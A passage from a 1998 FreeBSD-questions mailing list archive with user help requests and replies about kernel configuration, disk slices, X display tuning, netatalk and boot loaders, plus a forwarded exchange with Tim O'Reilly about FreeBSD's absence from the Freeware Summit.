proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id NAA16833; Thu, 9 Apr 1998 13:11:33 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804091811.NAA16833@horton.iaces.com> Subject: Re: kernel problem To: hackz@FutureGate.Net (John Dorr) Date: Thu, 9 Apr 1998 13:11:33 -0500 (CDT) Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <352AE7F8.7EDDEB14@futuregate.net> from John Dorr at "Apr 7, 98 08:59:04 pm" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, John Dorr said: > here is my kernel setup please tell me what on earth I did wrong, > > my computer is a pentium 200 MMX, 48 megs of ram, tyan tomcat IV > motherboard, USR X2 Sportster, SB AWE 64 PnP, ps2 mouse, primary IDE > control: Master= 5 gig maxtor, slave Mitsumi 16x cd rom > secondary control: master: 1.6 gig Maxtor (this is where free BSD is at) > slave: Phillips OMNIwriter 6x read 2x write cd burner > I have no scsi devices on this machine. > > > controller eisa0 Do you have and EISA bus? > controller ahb0 > controller ahc0 These are both scsi controllers. If you don't have scsi, remove these. If you do, add controller scbus0 > device fea0 This is a FDDI adapter for EISA bus. If you have this adapter, add pseudo-device fddi #Generic FDDI otherwise, remove it. -- Out of 10,000 feet of fall, always remember that the last half inch hurts the most. - Captain Charles W. Purcell, 1932 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 11:29:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA19164 for freebsd-questions-outgoing; Thu, 9 Apr 1998 11:29:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from osibisa.cl.msu.edu (osibisa.cl.msu.edu [35.8.1.245]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id LAA19158 for ; Thu, 9 Apr 1998 11:29:02 -0700 (PDT) (envelope-from ikhala@osibisa.cl.msu.edu) Received: by osibisa.cl.msu.edu (SMI-8.6/MSU-2.20) id OAA02629; Thu, 9 Apr 1998 14:28:55 -0400 Date: Thu, 9 Apr 1998 14:28:55 -0400 From: original man Message-Id: <199804091828.OAA02629@osibisa.cl.msu.edu> To: mmeola@uswest.com Subject: Re: SCSI controller Cc: freebsd-questions@FreeBSD.ORG X-Sun-Charset: US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > From owner-freebsd-questions@FreeBSD.ORG Thu Apr 9 17:21:14 1998 > To: original man > Cc: freebsd-questions@FreeBSD.ORG > Subject: Re: SCSI controller > From: Matt Meola > Mime-Version: 1.0 (generated by tm-edit 7.108) > Date: 09 Apr 1998 11:17:11 -0600 > X-Loop: FreeBSD.ORG > > original man writes: > > > > > > Hi Doug, > > Do you or anyone else on this list have a source for the Symbios-based cards? > > I know Asus makes a couple, but I'm having difficulties in finding a vendor. > > I am in mid-Michigan (East Lansing). Of course any web based vendors would > > work too. > > Promise makes Symbios-based controllers; try www.insight.com. Thanxs. Went to the URL. Just what I was looking for ... =;-) > > > -- > Matt Meola > Bailey, Colorado > "Gun control means using two hands." I'khala To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 12:13:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA23167 for freebsd-questions-outgoing; Thu, 9 Apr 1998 12:13:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from condor.CC.UMontreal.CA (condor.CC.UMontreal.CA [132.204.2.103]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA23009 for ; Thu, 9 Apr 1998 12:11:58 -0700 (PDT) (envelope-from beaupran@JSP.UMontreal.CA) Received: from epsom.jsp.umontreal.ca (epsom.JSP.UMontreal.CA [132.204.45.25]) by condor.CC.UMontreal.CA with ESMTP id PAA26859 (8.6.11/IDA-1.6 for ); Thu, 9 Apr 1998 15:11:52 -0400 Received: from derby.jsp.umontreal.ca (derby.jsp.umontreal.ca [132.204.46.26]) by epsom.jsp.umontreal.ca via ESMTP (951211.SGI.8.6.12.PATCH1502/JSP1789) id PAA03314 for ; Thu, 9 Apr 1998 15:11:51 -0400 Received: from localhost (beaupran@localhost) by derby.jsp.umontreal.ca via SMTP (951211.SGI.8.6.12.PATCH1502/JSP1789) id NAA03266 for ; Thu, 9 Apr 1998 13:06:14 -0400 X-Authentication-Warning: derby.jsp.umontreal.ca: beaupran owned process doing -bs Date: Thu, 9 Apr 1998 13:06:14 -0400 (EDT) From: BEAUPRE Antoine To: freebsd-questions Subject: Problems with xvidtune Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! I got one little-big problem... When I "startx", I got a "curved" screen, i.e. a deformed screen which is even not centered in my physical screen... I tried to narrow it, move it enlarge it, spice it, burn it, nothing could do it... I got a Azura 15" monitor that is: 30-66 KHz (horizontal) and 50-100 Hz at 1280x1024 Max. My video card is a ATI Rage (CHARGER), 2Mo... Thanx... +-----------------------------------+ | Free the world from businessmen | | Free yourself from your money | +-----------------------------------+ Free the web. Spidey visit: http://www.JSP.UMontreal.CA/~beaupran To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 12:44:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA27864 for freebsd-questions-outgoing; Thu, 9 Apr 1998 12:44:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from second.dialup.access.net (lsmarso.dialup.access.net [166.84.254.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA27399 for ; Thu, 9 Apr 1998 12:42:02 -0700 (PDT) (envelope-from larry@marso.com) Received: (from larry@localhost) by second.dialup.access.net (8.8.8/8.8.8) id NAA07449 for freebsd-questions@freebsd.org; Thu, 9 Apr 1998 13:41:22 -0400 (EDT) (envelope-from larry) Message-ID: <19980409134118.43535@marso.com> Date: Thu, 9 Apr 1998 13:41:18 -0400 From: "Larry S. Marso" To: freebsd-questions@FreeBSD.ORG Subject: checking pid in pidwait Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.89i x-no-archive: yes Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This shows up while I'm running LyX ... meaning dvips, ghostscript, latex. Any idea what it means? Just started happening after I changed some ghostscript options. Best regards -- Larry S. Marso larry@marso.com 0‹F4‰C4‹F ‰C ‹F$‰C$‹F‰C‹F‰CF(PC(PèÃÓ Checking pid in pidwait waitpid error The process or process group specified by pid does not exist or is not a child of the cal-ling process or can never be in the states specified by options. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 12:59:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA29551 for freebsd-questions-outgoing; Thu, 9 Apr 1998 12:59:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpha.xerox.com (firewall-user@alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id MAA29543 for ; Thu, 9 Apr 1998 12:59:09 -0700 (PDT) (envelope-from leisner@sdsp.mc.xerox.com) Received: from gemini.sdsp.mc.xerox.com ([13.231.132.20]) by alpha.xerox.com with SMTP id <56402(3)>; Thu, 9 Apr 1998 10:12:12 PDT Received: from gnu.sdsp.mc.xerox.com (gnu [13.231.133.90]) by gemini.sdsp.mc.xerox.com (8.8.7/8.8.7) with SMTP id MAA18216 for ; Thu, 9 Apr 1998 12:49:42 -0400 (EDT) Received: from gnu (localhost) by gnu.sdsp.mc.xerox.com (4.1/client-1.3) id AA17011; Thu, 9 Apr 98 12:49:41 EDT Message-Id: <9804091649.AA17011@gnu.sdsp.mc.xerox.com> To: questions@FreeBSD.ORG Subject: booting freebsd (multiple slices on a disk) Date: Thu, 9 Apr 1998 09:49:40 PDT From: "Marty Leisner" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I tried to install the 2/22 snapshot on a PC (already running 2.2). My disk layout (from linux fdisk) is: : leisner@compudyne;bsdfdisk -l Disk /dev/hda: 64 heads, 63 sectors, 826 cylinders Units = cylinders of 4032 * 512 bytes Device Boot Begin Start End Blocks Id System /dev/hda1 1 1 127 256000+ 6 DOS 16-bit >=32M /dev/hda2 * 128 128 534 820512 5 Extended /dev/hda3 825 825 825 2016 a OS/2 Boot Manager /dev/hda4 535 535 686 306432 b5 Unknown /dev/hda5 * 128 128 254 256000+ 7 OS2 20.0 /dev/hda6 * 255 255 381 256000+ 7 OS2 20.0 /dev/hda7 * 382 382 407 52384+ 83 Linux native /dev/hda8 408 408 509 205600+ 83 Linux native /dev/hda9 510 510 534 50368+ 6 DOS 16-bit >=32M NO NAME Disk /dev/hdb: 64 heads, 63 sectors, 621 cylinders Units = cylinders of 4032 * 512 bytes Device Boot Begin Start End Blocks Id System /dev/hdb1 1 1 152 306400+ b5 Unknown /dev/hdb2 153 153 254 205632 6 DOS 16-bit >=32M /dev/hdb3 255 255 431 356832 b5 Unknown Warning: invalid flag 0000 of partition table 4 will be corrected by w(rite) Disk /dev/hdd: 64 heads, 63 sectors, 621 cylinders Units = cylinders of 4032 * 512 bytes I'm using system commander (it changes the a5 ID to b5 [don't ask me why...freebsd still boots] When I tried to install on /dev/hda, it complained: This region cannot be used for your root partition as the FreeBSD boot code cannot deal with a root partition created in that location. Is this because it began at a cylinder > 512? (On the other hand, OS/2 Bootmanager doesn't have a problem). So I tried to put it on another slice on /dev/hdb (/dev/hdb3). The install went OK (it would help enormously to give some indication of the sizes when you install a system, instead of crunching for an hour before running out of space). I can boot either /dev/hdb1 or /dev/hdb3 in system commander, but the system where is installed is always /dev/hdb1 (2.2). I don't see support in there for multiple slices (did I miss something?) It seems like if disk.c:devopen() got a parameter indicating the disk slice, it would only look there (can it identify its disk slice its running from?) The alternative is to write a cheezy program which munges the disk label magic number on the partition I don't want to boot... marty leisner@sdsp.mc.xerox.com Don't confuse education with schooling. Milton Friedman to Yogi Berra To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 13:11:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA01650 for freebsd-questions-outgoing; Thu, 9 Apr 1998 13:11:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ms11.hinet.net (root@ms11.hinet.net [168.95.4.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA01644 for ; Thu, 9 Apr 1998 13:11:16 -0700 (PDT) (envelope-from jwlo@ms11.hinet.net) Received: from ms11.hinet.net (h221.s8.ts32.hinet.net [163.32.8.221]) by ms11.hinet.net (8.8.8/8.8.8) with ESMTP id EAA26347 for ; Fri, 10 Apr 1998 04:13:35 +0800 (CST) Message-ID: <352D2A8E.6FE308B7@ms11.hinet.net> Date: Fri, 10 Apr 1998 04:07:42 +0800 From: Doug Lo Reply-To: jwlo@ms11.hinet.net X-Mailer: Mozilla 4.05 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Please help me!! Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Yesterday I used boot floopy to install FreeBSD 2.2.6-RELEASE. First time I boot, it got a messange "Intel Pentium F00F detected, installing workaround", after I got this message, it still works fine for me. Then I edit my kernel, reboot, it got messages: Intel Pentium F00F detected, installing wrokaround. pid 5 (sh), uid 0 : exited on singal 8 Apr 10 04:04:33 init:/bin/sh on /etc/rc terminated abnormally, going to single user mode. Enter full pathname of shell or RETURN for /bin/sh: So I used 'single user mode(-s)' to reboot, still the same. Would anyone like to teach me how to solve this issue? Thanks in advance, Doug. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 13:12:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA02071 for freebsd-questions-outgoing; Thu, 9 Apr 1998 13:12:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from nothing.infoinsights.com ([208.151.124.130]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA02052 for ; Thu, 9 Apr 1998 13:12:04 -0700 (PDT) (envelope-from dustin@infoinsights.com) Received: from localhost (dustin@localhost) by nothing.infoinsights.com (8.8.7/8.8.7) with SMTP id MAA03500 for ; Thu, 9 Apr 1998 12:06:38 -0800 (AKDT) (envelope-from dustin@infoinsights.com) Date: Thu, 9 Apr 1998 12:06:38 -0800 (AKDT) From: Dustin Andrews To: freebsd-questions@FreeBSD.ORG Subject: adding source to my server. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After a minor disaster with a SCSI drive biting the dust and a incomplete restore from tape I find a have a small problem. I went to re-compile my kernel (with some new options) and I am missing the *.c files from the nfs directory. Is there a simple way just to get the source I am missing? I am unable to find it on the FTP server, but I may not be looking in the correct place. It is not on my CD in the live file system. And the source code section of the web page dissects the programs into symbols. I am sure I am probably just being myopic. Could someone please give me a hand here? I am missing some other files, but at this point it looks easier to just hunt donw the missing peices than to re-install the OS on my main server and try to rebuild all the new stuff I have done. TIA -- Dustin Andrews, 907 452-2461 -- Email: dustin@infoinsights.com dustina@mindless.com "I see the light at the end of the tunnel, someone please tell me that it's not a train" --Cracker To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 13:16:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA02934 for freebsd-questions-outgoing; Thu, 9 Apr 1998 13:16:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from inner.cortx.com (inner.cortx.com [207.207.221.8]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA02919 for ; Thu, 9 Apr 1998 13:16:27 -0700 (PDT) (envelope-from costa@cortx.com) Received: from cman (cman.cortx.com [207.207.221.12]) by inner.cortx.com (8.8.8/8.8.8 NO RELAY NO SPAM) with SMTP id QAA14202 for ; Thu, 9 Apr 1998 16:17:37 -0400 (EDT) Message-ID: <003b01bd63f4$7b506bc0$0cddcfcf@cman.cortx.com> From: "Costa Morris" To: Subject: netatalk Date: Thu, 9 Apr 1998 16:17:11 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG i get these errors when i try running netatalk.sh: Apr 9 15:13:52 inner afpd[1621]: Can't register inner:AFPServer@* any ideas? i'm running 2.2.5R with netatalk options in kernel. also on a completely different subject, i am getting these random floppy errors: Apr 9 15:56:43 inner /kernel: fd0: Operation timeout Apr 9 15:56:44 inner /kernel: fd0c: hard error reading fsbn 56 of 56-63 (No status) Apr 9 15:56:44 inner /kernel: isa_dmastart: channel 2 busy Apr 9 15:56:44 inner /kernel: fdc0: cmd e6 failed at out byte 1 of 9 Apr 9 15:56:44 inner /kernel: isa_dmastart: channel 2 busy i don't have a floppy disk in the drive and havn't used the floppy drive in a while. any ideas? thanks in advance! -costa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 13:57:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA08719 for freebsd-questions-outgoing; Thu, 9 Apr 1998 13:57:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from student.uq.edu.au (root@student.uq.edu.au [130.102.2.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA08711 for ; Thu, 9 Apr 1998 13:56:54 -0700 (PDT) (envelope-from s334761@student.uq.edu.au) Received: from localhost (s334761@localhost [127.0.0.1]) by student.uq.edu.au (8.8.8/8.8.7) with SMTP id GAA10908 for ; Fri, 10 Apr 1998 06:56:43 +1000 (GMT+1000) Date: Fri, 10 Apr 1998 06:56:43 +1000 (GMT+1000) From: Stuart Clarke To: freebsd-questions@FreeBSD.ORG Subject: Boot Loader Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I have just one question. With FreeBSD on my master hard disk and Windows on my slave, I try to use the boot loader that comes with FreeBSD and it comes up with something like this: F1: BSD F5: Disk 2 No matter if I push F1 or F5, it still boots into FreeBSD. I have to go into my computer, pull out power cords, and change jumpers before I can get into Windows Can anyone help me with this? Thanks, Stuart To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 13:58:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA09198 for freebsd-questions-outgoing; Thu, 9 Apr 1998 13:58:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from general1.consumersedge.com (mail.personalogic.com [208.213.67.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA09174; Thu, 9 Apr 1998 13:58:39 -0700 (PDT) (envelope-from dshanes@personalogic.com) Received: from SHANES by general1.consumersedge.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1458.49) id 2PDPY120; Thu, 9 Apr 1998 13:43:08 -0700 Message-ID: <01f501bd63f7$597e4000$1d43a8c0@shanes.personalogic.com> From: "David Shanes" To: "Brett Glass" , , Subject: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Date: Thu, 9 Apr 1998 13:37:44 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To All, This is the message that I sent Tim O'Reilly, the founder of O'Reilly and Associates. Next I will send you his response. David -----Original Message----- From: David Shanes To: tim@oreilly.com Date: Thursday, April 09, 1998 11:45 AM Subject: Your Article "Freeware: The Heart & Soul of the Internet" >Mr. O'reilly, > I applaud ORA's endorsement of Open Source software. It is a huge step >to gather together the "forefathers" of some of the most popular and stable >software in use on the Internet today. > Personally, I use FreeBSD and was wondering if there was any particular >reason that the developers of FreeBSD were not included in your "Freeware >Summit". > FreeBSD has much to offer over Linux and has a huge developer/user base, >including Yahoo! and CDROM.COM. > >Sincerely, >David Shanes >_____________________________________________________ >David Shanes 7535 Metropolitan Drive >dshanes@personalogic.com San Diego, CA 92108 >Database Developer (619) 220-5800 x228 >PersonaLogic, Inc. (619) 220-5899 (fax) >http://www.PersonaLogic.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 14:09:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA11291 for freebsd-questions-outgoing; Thu, 9 Apr 1998 14:09:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from general1.consumersedge.com (mail.personalogic.com [208.213.67.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA11269; Thu, 9 Apr 1998 14:09:04 -0700 (PDT) (envelope-from dshanes@personalogic.com) Received: from SHANES by general1.consumersedge.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1458.49) id 2PDPY1KC; Thu, 9 Apr 1998 14:09:36 -0700 Message-ID: <025301bd63fb$0b94bc80$1d43a8c0@shanes.personalogic.com> From: "David Shanes" To: , "Brett Glass" , Subject: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Date: Thu, 9 Apr 1998 14:04:11 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Here is Tim O'Reilly's response. David _____________________________________________________ David Shanes 7535 Metropolitan Drive dshanes@personalogic.com San Diego, CA 92108 Database Developer (619) 220-5800 x228 PersonaLogic, Inc. (619) 220-5899 (fax) http://www.PersonaLogic.com -----Original Message----- From: Tim O'Reilly To: David Shanes Cc: tim@oreilly.com Date: Thursday, April 09, 1998 12:56 PM Subject: Re: Your Article "Freeware: The Heart & Soul of the Internet" >The basic reason I didn't invite someone from FreeBSD was that >the group was getting too large; moreover, I don't really know >Jordan, where I do know the other folks. Still, it was probably >an oversight. > >I certainly focussed on the major contributions of the BSD >team to the whole movement. I did invite Kirk McKusick, but >he was out of town. (We had lunch the week before the >meeting to make sure I had his perspective.) While I >know that Kirk is no longer actively involved, he has >a perspective on the contributions of Berkeley UNIX and >where it is going. > >We plan to have followup meetings. I would definitely like >to have someone from FreeBSD come to the meeting. > >BTW, the main focus was on internet software, not on >operating systems. Basically, I was trying to counter >the idea that the important free software is on the desktop. >In fact, most of the Internet was built by the free software >movement. But not by people who think of themselves >particularly as "free software" advocates. > > >-- >Tim O'Reilly @ O'Reilly & Associates, Inc. >101 Morris Street, Sebastopol, CA 95472 >707-829-0515 ext 266, Fax 707-829-0104, tim@oreilly.com >http://www.oreilly.com http://software.oreilly.com http://www.songline.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 14:09:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA11948 for freebsd-questions-outgoing; Thu, 9 Apr 1998 14:09:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA11812 for ; Thu, 9 Apr 1998 14:09:44 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id NAA04972; Thu, 9 Apr 1998 13:57:16 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd004967; Thu Apr 9 20:57:07 1998 Date: Thu, 9 Apr 1998 13:52:05 -0700 (PDT) From: Julian Elischer To: Costa Morris cc: questions@FreeBSD.ORG Subject: Re: netatalk In-Reply-To: <003b01bd63f4$7b506bc0$0cddcfcf@cman.cortx.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG So I presume you looked in the 2.2.5 ERRATA file on the ftp site, and installed the mandatory patches right? On Thu, 9 Apr 1998, Costa Morris wrote: > i get these errors when i try running netatalk.sh: > > Apr 9 15:13:52 inner afpd[1621]: Can't register inner:AFPServer@* > > any ideas? > > i'm running 2.2.5R with netatalk options in kernel. > > > also on a completely different subject, i am getting these random floppy > errors: > > Apr 9 15:56:43 inner /kernel: fd0: Operation timeout > Apr 9 15:56:44 inner /kernel: fd0c: hard error reading fsbn 56 of 56-63 (No > status) > Apr 9 15:56:44 inner /kernel: isa_dmastart: channel 2 busy > Apr 9 15:56:44 inner /kernel: fdc0: cmd e6 failed at out byte 1 of 9 > Apr 9 15:56:44 inner /kernel: isa_dmastart: channel 2 busy > > i don't have a floppy disk in the drive and havn't used the floppy drive in > a while. any ideas? > > thanks in advance! > > -costa > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 14:13:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA12803 for freebsd-questions-outgoing; Thu, 9 Apr 1998 14:13:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from general1.consumersedge.com (mail.personalogic.com [208.213.67.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA12758; Thu, 9 Apr 1998 14:13:09 -0700 (PDT) (envelope-from dshanes@personalogic.com) Received: from SHANES by general1.consumersedge.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1458.49) id 2PDPY1KK; Thu, 9 Apr 1998 14:13:47 -0700 Message-ID: <026f01bd63fb$a11c9cf0$1d43a8c0@shanes.personalogic.com> From: "David Shanes" To: , Subject: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Date: Thu, 9 Apr 1998 14:08:22 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It did not make it to the list the first time...(?) David -----Original Message----- From: David Shanes To: Brett Glass ; freebsd-questions@FreeBSD.ORG ; hackers@freebsd.org Date: Thursday, April 09, 1998 1:37 PM Subject: Fw: Your Article "Freeware: The Heart & Soul of the Internet" >To All, > This is the message that I sent Tim O'Reilly, the founder of O'Reilly >and Associates. Next I will send you his response. > >David > >-----Original Message----- >From: David Shanes >To: tim@oreilly.com >Date: Thursday, April 09, 1998 11:45 AM >Subject: Your Article "Freeware: The Heart & Soul of the Internet" > > >>Mr. O'reilly, >> I applaud ORA's endorsement of Open Source software. It is a huge step >>to gather together the "forefathers" of some of the most popular and stable >>software in use on the Internet today. >> Personally, I use FreeBSD and was wondering if there was any particular >>reason that the developers of FreeBSD were not included in your "Freeware >>Summit". >> FreeBSD has much to offer over Linux and has a huge developer/user >base, >>including Yahoo! and CDROM.COM. >> >>Sincerely, >>David Shanes >>_____________________________________________________ >>David Shanes 7535 Metropolitan Drive >>dshanes@personalogic.com San Diego, CA 92108 >>Database Developer (619) 220-5800 x228 >>PersonaLogic, Inc. (619) 220-5899 (fax) >>http://www.PersonaLogic.com >> >> > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 14:21:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA14429 for freebsd-questions-outgoing; Thu, 9 Apr 1998 14:21:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from orcas.foghead.com (orcas.foghead.com [192.147.160.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA14411 for ; Thu, 9 Apr 1998 14:20:52 -0700 (PDT) (envelope-from junkins@foghead.com) Received: from localhost (junkins@localhost) by orcas.foghead.com (8.8.8/8.8.8) with SMTP id OAA01945; Thu, 9 Apr 1998 14:20:12 -0700 (PDT) Date: Thu, 9 Apr 1998 14:20:11 -0700 (PDT) From: Doug Junkins X-Sender: junkins@orcas To: Doug White cc: freebsd-questions@FreeBSD.ORG Subject: Re: 2.2.6 install problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > After the system boots from the install disk and the blue screen with the > > "probing devices" messages comes up there is alot of disk activity. After > > a few seconds of disk activity the above kernel panic is displayed with a > > message that the system will reboot in 15 seconds (or press a key to abort > > the automatic reload). > > Okay, I see. Try booting and put -v on the Boot: prompt, then when the > Probing Devices .. message comes up hit ALT-F2. There's a bug I'm hunting > that makes the wd slice probe loop a ton of times, it may be biting you > in a different way. > Thanks. That pinpointed the problem. The verbose output showed the polling of my to ide drives then it failed with the message: wfd0: Sense the media type is failed I guessed that this had something to do with my ATAPI CDROM so I checked to see if there was a disc in there. When I checked, I found that my CDROM was dead. I disconnected the failed CDROM and was successful at begining the install. It's installing right now so we'll see how it works when it's complete. -Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with 